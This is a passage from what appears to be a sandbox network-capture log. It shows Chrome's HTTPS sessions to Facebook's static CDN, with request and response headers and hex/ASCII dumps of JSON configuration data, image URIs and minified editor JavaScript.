2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 31 38 33 37 35 35 39 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 2c 22 34 38 38 33 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 32 30 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 31 30 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c Data Ascii: 1837559":{"r":1},"1848815":{"r":10000,"s":1},"4883":{"r":1,"s":1}},"gkxData":{"209":{"result":false,"hash":null},"20935":{"result":true,"hash":null},"21075":{"result":false,"hash":null},"21076":{"result":true,"hash":null},"21106":{"result":true,"hash":nul
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 75 6c 6c 7d 2c 22 32 31 31 31 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 32 36 38 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 32 39 36 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 33 34 33 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 36 34 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 36 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 33 34 31 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 Data Ascii: ull},"21117":{"result":false,"hash":null},"22681":{"result":false,"hash":null},"22968":{"result":false,"hash":null},"23433":{"result":false,"hash":null},"20864":{"result":true,"hash":null},"20865":{"result":true,"hash":null},"23413":{"result":false,"hash"
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 22 68 65 69 67 68 74 22 3a 33 32 7d 2c 22 31 38 37 36 34 31 36 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 43 2f 72 2f 79 46 61 61 79 6c 63 63 5a 35 4c 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 34 38 2c 22 68 65 69 67 68 74 22 3a 34 38 7d 2c 22 31 38 37 36 34 31 38 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6b 2f 72 2f 39 36 47 4a 59 47 62 55 44 43 4a 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 37 32 2c 22 68 65 69 67 68 74 22 3a 37 32 7d 2c 22 31 38 37 36 34 31 39 22 3a Data Ascii: "height":32},"1876416":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yC/r/yFaaylccZ5L.gif","width":48,"height":48},"1876418":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yk/r/96GJYGbUDCJ.gif","width":72,"height":72},"1876419":
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 64 74 68 22 3a 32 34 2c 22 68 65 69 67 68 74 22 3a 32 34 7d 2c 22 31 38 37 36 34 33 31 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 77 2f 72 2f 36 30 72 39 6f 50 45 76 78 69 4c 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 33 32 2c 22 68 65 69 67 68 74 22 3a 33 32 7d 2c 22 31 38 37 36 34 33 32 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 4d 2f 72 2f 4e 6c 41 46 68 69 45 78 33 61 31 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 34 38 2c 22 68 65 69 67 68 74 22 3a 34 38 7d 2c 22 31 Data Ascii: dth":24,"height":24},"1876431":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yw/r/60r9oPEvxiL.gif","width":32,"height":32},"1876432":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yM/r/NlAFhiEx3a1.gif","width":48,"height":48},"1
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 67 69 66 22 2c 22 77 69 64 74 68 22 3a 32 30 2c 22 68 65 69 67 68 74 22 3a 32 30 7d 2c 22 31 38 37 36 34 34 36 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6c 2f 72 2f 67 54 64 6d 37 7a 50 4b 7a 2d 63 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 32 34 2c 22 68 65 69 67 68 74 22 3a 32 34 7d 2c 22 31 38 37 36 34 34 37 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6d 2f 72 2f 6b 64 61 66 74 32 35 31 67 51 5f 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 33 32 2c 22 68 65 69 67 68 74 Data Ascii: gif","width":20,"height":20},"1876446":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yl/r/gTdm7zPKz-c.gif","width":24,"height":24},"1876447":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/ym/r/kdaft251gQ_.gif","width":32,"height
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 56 57 48 5a 57 2d 62 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 2c 22 68 65 69 67 68 74 22 3a 36 34 7d 2c 22 31 39 34 30 35 31 30 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 4b 2f 72 2f 38 67 50 4e 38 77 42 44 39 79 42 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 2c 22 68 65 69 67 68 74 22 3a 36 34 7d 2c 22 31 39 34 30 35 31 31 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 47 2f 72 2f 57 74 4b 5f 75 35 31 74 33 6e 4d 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 Data Ascii: VWHZW-b.gif","width":64,"height":64},"1940510":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yK/r/8gPN8wBD9yB.gif","width":64,"height":64},"1940511":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yG/r/WtK_u51t3nM.gif","width":64
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 34 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 34 30 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 38 36 22 2c 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 39 30 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 34 35 31 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 36 34 33 33 32 Data Ascii: 4",[],{"__rc":[null,null]},-1],["cr:6640",[],{"__rc":[null,null]},-1],["cr:7386",["clearTimeoutWWW"],{"__rc":["clearTimeoutWWW",null]},-1],["cr:7390",["setTimeoutWWW"],{"__rc":["setTimeoutWWW",null]},-1],["cr:7451",[],{"__rc":[null,null]},-1],["cr:1064332

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49948	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	610	OUT	GET /rsrc.php/v3ifWF4/ys/l/en_US/GnjFqX6gBhq.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ABxWXT9x0SFr9GRPmN1Bpw== Expires: Fri, 11 Apr 2025 13:03:51 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: eI7H+Pl168cmye0bgWbzsuz6d/ulOTpxEYIjLhUYPDbijKQ4aryekakZBuKtJq4qcveIy8e+D5v02ieECTYw4g== Date: Thu, 11 Apr 2024 20:35:33 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 156136
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:33 UTC	16102	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 55 46 49 53 68 61 72 65 41 63 74 69 6f 6e 4c 69 6e 6b 4d 65 6e 75 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 36 36 34 35 33 30 30 38 37 32 32 33 30 30 32 37 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 55 46 49 53 68 61 72 65 41 63 74 69 6f 6e 4c 69 6e 6b 4d 65 6e 75 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 43 6f 6d 65 74 55 46 49 53 68 61 72 65 41 63 74 69 6f 6e 4c 69 6e 6b 4d 65 6e 75 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 5d 2c 28 Data Ascii: /FB_PKG_DELIM/__d("CometUFIShareActionLinkMenuQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6645300872230027"}),null);__d("CometUFIShareActionLinkMenuQuery$Parameters",["CometUFIShareActionLinkMenuQuery_facebookRelayOperation"],(
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 0a 21 31 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 44 62 28 61 29 7b 76 61 72 20 62 3d 61 2e 5f 6f 62 73 65 72 76 65 72 3b 69 66 28 6e 75 6c 6c 21 3d 3d 62 29 7b 76 61 72 20 63 3d 62 2e 74 61 6b 65 52 65 63 6f 72 64 73 28 29 3b 77 62 28 61 2c 63 2c 62 29 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 45 62 28 61 29 7b 30 3d 3d 3d 73 62 26 26 46 62 28 61 29 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 78 74 49 6e 70 75 74 22 2c 74 62 2c 21 30 29 3b 61 2e 5f 6f 62 73 65 72 76 65 72 3d 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 77 62 28 61 2c 62 2c 63 29 3b 7d 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 47 62 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 5f 5f 6d 6f 64 65 2c 64 3d 61 2e 5f 5f 66 6f 72 6d 61 Data Ascii: !1;}}function Db(a){var b=a._observer;if(null!==b){var c=b.takeRecords();wb(a,c,b);}}function Eb(a){0===sb&&Fb(a).addEventListener("textInput",tb,!0);a._observer=new MutationObserver(function(b,c){wb(a,b,c);});}function Gb(a,b){var c=a.__mode,d=a.__forma
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 67 65 74 46 6f 72 6d 61 74 28 29 2c 68 2e 73 74 79 6c 65 3d 6d 2e 67 65 74 53 74 79 6c 65 28 29 29 3a 22 65 6c 65 6d 65 6e 74 22 21 3d 3d 6b 2e 74 79 70 65 7c 7c 6e 7c 7c 28 6b 3d 6b 2e 67 65 74 4e 6f 64 65 28 29 2c 6b 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 64 26 26 30 3d 3d 3d 6b 2e 67 65 74 43 68 69 6c 64 72 65 6e 53 69 7a 65 28 29 3f 68 2e 66 6f 72 6d 61 74 3d 6b 2e 67 65 74 54 65 78 74 46 6f 72 6d 61 74 28 29 3a 68 2e 66 6f 72 6d 61 74 3d 30 2c 68 2e 73 74 79 6c 65 3d 22 22 29 3b 7d 65 6c 73 65 7b 76 61 72 20 6c 3d 6b 2e 6b 65 79 2c 72 3d 68 2e 66 6f 63 75 73 2e 6b 65 79 3b 6b 3d 68 2e 67 65 74 4e 6f 64 65 73 28 29 3b 6d 3d 6b 2e 6c 65 6e 67 74 68 3b 76 61 72 20 77 3d 68 2e 69 73 42 61 63 6b 77 61 72 64 28 29 3b 71 3d 77 3f 67 3a 65 3b 6e 3d 77 3f 65 Data Ascii: getFormat(),h.style=m.getStyle()):"element"!==k.type\|\|n\|\|(k=k.getNode(),k instanceof Sd&&0===k.getChildrenSize()?h.format=k.getTextFormat():h.format=0,h.style="");}else{var l=k.key,r=h.focus.key;k=h.getNodes();m=k.length;var w=h.isBackward();q=w?g:e;n=w?e
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 72 61 74 6f 72 36 2e 6e 65 78 74 28 29 3b 69 66 28 5f 69 38 2e 64 6f 6e 65 29 62 72 65 61 6b 3b 5f 72 65 66 31 34 3d 5f 69 38 2e 76 61 6c 75 65 3b 7d 76 61 72 20 65 3d 5f 72 65 66 31 34 3b 61 3d 61 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 29 3b 7d 7d 76 61 72 0a 69 65 3d 66 75 6e 63 74 69 6f 6e 28 5f 65 65 29 7b 62 61 62 65 6c 48 65 6c 70 65 72 73 2e 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 28 69 65 2c 5f 65 65 29 3b 69 65 2e 67 65 74 54 79 70 65 3d 66 75 6e 63 74 69 6f 6e 20 67 65 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 22 6c 69 6e 65 62 72 65 61 6b 22 3b 7d 3b 69 65 2e 63 6c 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 20 63 6c 6f 6e 65 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 69 65 28 61 2e 5f 5f 6b 65 79 29 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 65 28 61 Data Ascii: rator6.next();if(_i8.done)break;_ref14=_i8.value;}var e=_ref14;a=a.insertAfter(e);}}varie=function(_ee){babelHelpers.inheritsLoose(ie,_ee);ie.getType=function getType(){return"linebreak";};ie.clone=function clone(a){return new ie(a.__key);};function ie(a
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 62 3b 61 2e 5f 73 65 6c 65 63 74 69 6f 6e 3d 74 68 69 73 3b 62 2e 5f 73 65 6c 65 63 74 69 6f 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 61 63 68 65 64 4e 6f 64 65 73 3d 6e 75 6c 6c 3b 74 68 69 73 2e 66 6f 72 6d 61 74 3d 63 3b 74 68 69 73 2e 73 74 79 6c 65 3d 64 3b 74 68 69 73 2e 64 69 72 74 79 3d 21 31 3b 7d 76 61 72 20 5f 70 72 6f 74 6f 37 3d 55 65 2e 70 72 6f 74 6f 74 79 70 65 3b 5f 70 72 6f 74 6f 37 2e 67 65 74 43 61 63 68 65 64 4e 6f 64 65 73 3d 66 75 6e 63 74 69 6f 6e 20 67 65 74 43 61 63 68 65 64 4e 6f 64 65 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 61 63 68 65 64 4e 6f 64 65 73 3b 7d 3b 5f 70 72 6f 74 6f 37 2e 73 65 74 43 61 63 68 65 64 4e 6f 64 65 73 3d 66 75 6e 63 74 69 6f 6e 20 73 65 74 43 61 63 68 65 64 4e 6f 64 65 73 28 61 29 7b 74 Data Ascii: b;a._selection=this;b._selection=this;this._cachedNodes=null;this.format=c;this.style=d;this.dirty=!1;}var _proto7=Ue.prototype;_proto7.getCachedNodes=function getCachedNodes(){return this._cachedNodes;};_proto7.setCachedNodes=function setCachedNodes(a){t
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 66 28 22 65 6c 65 6d 65 6e 74 22 21 3d 3d 64 2e 74 79 70 65 7c 7c 22 65 6c 65 6d 65 6e 74 22 21 3d 3d 65 2e 74 79 70 65 7c 7c 65 2e 6f 66 66 73 65 74 3d 3d 3d 64 2e 6f 66 66 73 65 74 29 6c 3d 67 3c 68 3f 6c 2e 73 6c 69 63 65 28 67 2c 68 29 3a 6c 2e 73 6c 69 63 65 28 68 2c 67 29 3b 7d 65 6c 73 65 20 6c 3d 66 3f 6c 2e 73 6c 69 63 65 28 67 29 3a 6c 2e 73 6c 69 63 65 28 68 29 3b 7d 65 6c 73 65 20 6e 3d 3d 3d 63 26 26 28 6c 3d 66 3f 6c 2e 73 6c 69 63 65 28 30 2c 68 29 3a 6c 2e 73 6c 69 63 65 28 30 2c 67 29 29 3b 6b 2b 3d 6c 3b 7d 65 6c 73 65 21 79 28 6e 29 26 26 21 47 63 28 6e 29 7c 7c 6e 3d 3d 3d 63 26 26 74 68 69 73 2e 69 73 43 6f 6c 6c 61 70 73 65 64 28 29 7c 7c 28 6b 2b 3d 0a 6e 2e 67 65 74 54 65 78 74 43 6f 6e 74 65 6e 74 28 29 29 3b 7d 72 65 74 75 72 6e Data Ascii: f("element"!==d.type\|\|"element"!==e.type\|\|e.offset===d.offset)l=g<h?l.slice(g,h):l.slice(h,g);}else l=f?l.slice(g):l.slice(h);}else n===c&&(l=f?l.slice(0,h):l.slice(0,g));k+=l;}else!y(n)&&!Gc(n)\|\|n===c&&this.isCollapsed()\|\|(k+=n.getTextContent());}return
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 21 4f 62 28 63 2c 65 2c 66 29 29 72 65 74 75 72 6e 20 61 2e 63 6c 6f 6e 65 28 29 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 61 2e 63 6c 6f 6e 65 28 29 3b 63 3d 57 65 28 65 2c 67 2c 66 2c 62 2c 63 2c 61 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 63 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 5f 63 3d 63 2c 68 3d 5f 63 5b 30 5d 2c 6b 3d 5f 63 5b 31 5d 3b 72 65 74 75 72 6e 20 6e 65 77 20 55 65 28 68 2c 6b 2c 43 28 61 29 3f 61 2e 66 6f 72 6d 61 74 3a 0a 30 2c 43 28 61 29 3f 61 2e 73 74 79 6c 65 3a 22 22 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 75 72 6e 20 62 63 28 29 2e 5f 73 65 6c 65 63 74 69 6f 6e 3b 7d 66 75 6e 63 74 69 6f 6e 20 6f 63 28 29 7b 72 65 74 75 72 6e 20 46 28 29 2e 5f 65 64 69 74 6f 72 53 74 61 74 65 2e 5f 73 65 6c 65 63 74 69 6f Data Ascii: !Ob(c,e,f))return a.clone();}else return a.clone();c=We(e,g,f,b,c,a);if(null===c)return null;var _c=c,h=_c[0],k=_c[1];return new Ue(h,k,C(a)?a.format:0,C(a)?a.style:"");}function u(){return bc()._selection;}function oc(){return F()._editorState._selectio
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 62 26 26 62 21 3d 3d 66 29 26 26 28 61 3d 74 68 69 73 2e 67 65 74 4c 61 73 74 43 68 69 6c 64 28 29 2c 42 28 61 29 7c 7c 45 28 61 29 29 29 72 65 74 75 72 6e 20 61 2e 73 65 6c 65 63 74 28 29 3b 0a 76 6f 69 64 20 30 3d 3d 3d 64 26 26 28 64 3d 66 29 3b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 66 29 3b 66 3d 74 68 69 73 2e 5f 5f 6b 65 79 3b 69 66 28 43 28 63 29 29 63 2e 61 6e 63 68 6f 72 2e 73 65 74 28 66 2c 64 2c 22 65 6c 65 6d 65 6e 74 22 29 2c 63 2e 66 6f 63 75 73 2e 73 65 74 28 66 2c 65 2c 22 65 6c 65 6d 65 6e 74 22 29 2c 63 2e 64 69 72 74 79 3d 21 30 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 77 65 28 66 2c 64 2c 66 2c 65 2c 22 65 6c 65 6d 65 6e 74 22 2c 22 65 6c 65 6d 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 63 3b 7d 3b 5f 70 72 6f 74 6f 39 2e 73 65 6c 65 Data Ascii: b&&b!==f)&&(a=this.getLastChild(),B(a)\|\|E(a)))return a.select();void 0===d&&(d=f);void 0===e&&(e=f);f=this.__key;if(C(c))c.anchor.set(f,d,"element"),c.focus.set(f,e,"element"),c.dirty=!0;else return we(f,d,f,e,"element","element");return c;};_proto9.sele
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 28 61 29 7b 72 65 74 75 72 6e 20 42 28 61 29 7c 7c 47 63 28 61 29 7c 7c 79 28 61 29 3b 7d 3b 65 78 70 6f 72 74 73 2e 24 69 73 4c 69 6e 65 42 72 65 61 6b 4e 6f 64 65 3d 47 63 3b 65 78 70 6f 72 74 73 2e 24 69 73 4e 6f 64 65 53 65 6c 65 63 74 69 6f 6e 3d 58 64 3b 65 78 70 6f 72 74 73 2e 24 69 73 50 61 72 61 67 72 61 70 68 4e 6f 64 65 3d 76 64 3b 65 78 70 6f 72 74 73 2e 24 69 73 52 61 6e 67 65 53 65 6c 65 63 74 69 6f 6e 3d 43 3b 65 78 70 6f 72 74 73 2e 24 69 73 52 6f 6f 74 4e 6f 64 65 3d 4c 3b 65 78 70 6f 72 74 73 2e 24 69 73 52 6f 6f 74 4f 72 53 68 61 64 6f 77 52 6f 6f 74 3d 79 63 3b 65 78 70 6f 72 74 73 2e 24 69 73 54 61 62 4e 6f 64 65 3d 4e 65 3b 65 78 70 6f 72 74 73 2e 24 69 73 54 65 78 74 4e 6f 64 65 3d 42 3b 0a 65 78 70 6f 72 74 73 2e 24 6e 6f 64 65 73 Data Ascii: (a){return B(a)\|\|Gc(a)\|\|y(a);};exports.$isLineBreakNode=Gc;exports.$isNodeSelection=Xd;exports.$isParagraphNode=vd;exports.$isRangeSelection=C;exports.$isRootNode=L;exports.$isRootOrShadowRoot=yc;exports.$isTabNode=Ne;exports.$isTextNode=B;exports.$nodes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49945	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	610	OUT	GET /rsrc.php/v3ivlb4/yT/l/en_US/Vu6HBOITfSe.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1677	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: QegXBb0jJp3h07haBLixbg== Expires: Thu, 10 Apr 2025 18:30:42 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: 